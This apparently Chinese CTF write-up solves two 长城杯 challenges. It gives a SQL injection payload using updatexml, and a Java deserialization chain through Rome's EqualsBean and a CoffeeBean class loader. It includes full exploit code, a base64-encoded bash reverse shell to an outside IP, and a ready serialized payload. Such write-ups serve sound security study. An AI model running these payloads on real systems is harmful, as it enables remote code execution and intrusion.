长城杯
djangogogo
知识星球之前讲的cve:https://www.wangan.com/p/7fy7f82605ea5797
直接一把嗦。payload:
name=month+from+`purchase_date`))+and+updatexml(1,(concat(1,(substr((select+flag+from+FLAG),16,32)))),1)--
b4bycoffee
泪目。学了大半年的java反序列化,现在终于考了。一看pom.xml,经典rome1.7。有黑名单:
public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); this.list = new ArrayList<>(); this.list.add(BadAttributeValueExpException.class.getName()); this.list.add(ObjectBean.class.getName()); this.list.add(ToStringBean.class.getName()); this.list.add(TemplatesImpl.class.getName()); this.list.add(Runtime.class.getName()); }
二次反序列化用不了。然后发现有个类,感觉可以用:coffeeBean.class
package com.example.b4bycoffee.model; import java.io.Serializable; public class CoffeeBean extends ClassLoader implements Serializable { private String name = "Coffee bean"; private byte[] ClassByte; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public String toString() { com.example.b4bycoffee.model.CoffeeBean coffeeBean = new com.example.b4bycoffee.model.CoffeeBean(); Class clazz = coffeeBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length); Object var3 = null; try { var3 = clazz.newInstance(); } catch (InstantiationException var5) { var5.printStackTrace(); } catch (IllegalAccessException var6) { var6.printStackTrace(); } return "A cup of Coffee --"; } }
一眼丁真,看到implements Serializable
直接肯定从这里下手。需要触发toString
方法,然后直接defineClass一把嗦。可惜BadAttributeValueExpException
被ban了。所以在rome数据包里面找一个类能触发toString
的。EqualsBean.class
里面有个beanHashCode
方法可以触发,然后这个方法通过hashCode
触发,明显直接塞HashMap
里面就行了。
public int hashCode() { return beanHashCode(); } || \/ public int beanHashCode() { return obj.toString().hashCode(); }
所以链子很简单:
HashMap.hashCode->EqualsBean.toString->CoffeeBean
贴个exp:
package com.example.b4bycoffee; import com.example.b4bycoffee.model.CoffeeBean; import com.rometools.rome.feed.impl.EqualsBean; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class Exp { //hashmap->EqualsBean public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.get(test.class.getName()); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}"; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil"); byte[] bytes = ctClass.toBytecode(); CoffeeBean coffeeBean = new CoffeeBean(); setField(coffeeBean, "ClassByte", bytes); EqualsBean equalsBean = new EqualsBean(CoffeeBean.class, coffeeBean); HashMap hashMap = makeMap(equalsBean, "value"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); // ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); // AntObjectInputStream aois = new AntObjectInputStream(bais); // aois.readObject(); } public static void setField(Object object, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field nameField = object.getClass().getDeclaredField(name); nameField.setAccessible(true); nameField.set(object, value); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Exp.setField(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Exp.setField(s, "table", tbl); return s; } }
至于怎么传参,可以参考今年爆的那个springboot cve jdk9+。然后该题只能整json。
{"venti":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyACdjb20uZXhhbXBsZS5iNGJ5Y29mZmVlLm1vZGVsLkNvZmZlZUJlYW4Su0c/XbvvMwIAAlsACUNsYXNzQnl0ZXQAAltCTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwc3EAfgAGdXIAAltCrPMX+AYIVOACAAB4cAAAAqvK/rq+AAAANAAjCgADAA0HACEHAA8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxjb20vZXhhbXBsZS9iNGJ5Y29mZmVlL3Rlc3Q7AQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwABAAFAQAbY29tL2V4YW1wbGUvYjRieWNvZmZlZS90ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABAKABEADQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABQBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAWABcKABUAGAEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4ME55NDVOaTR4TnpNdU1URTJMekl6TXpNZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABoBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAcAB0KABUAHgEADVN0YWNrTWFwVGFibGUBAARldmlsAQAGTGV2aWw7ACEAAgARAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABKxAAAAAgAHAAAABgABAAAAAwAIAAAADAABAAAABQAJACIAAAAIABMABQABAAYAAAAkAAMAAgAAAA+nAAMBTLgAGRIbtgAfV7EAAAABACAAAAADAAEDAAEACwAAAAIADHQAC0NvZmZlZSBiZWFucQB+AAV0AAV2YWx1ZXEAfgAOeA=="}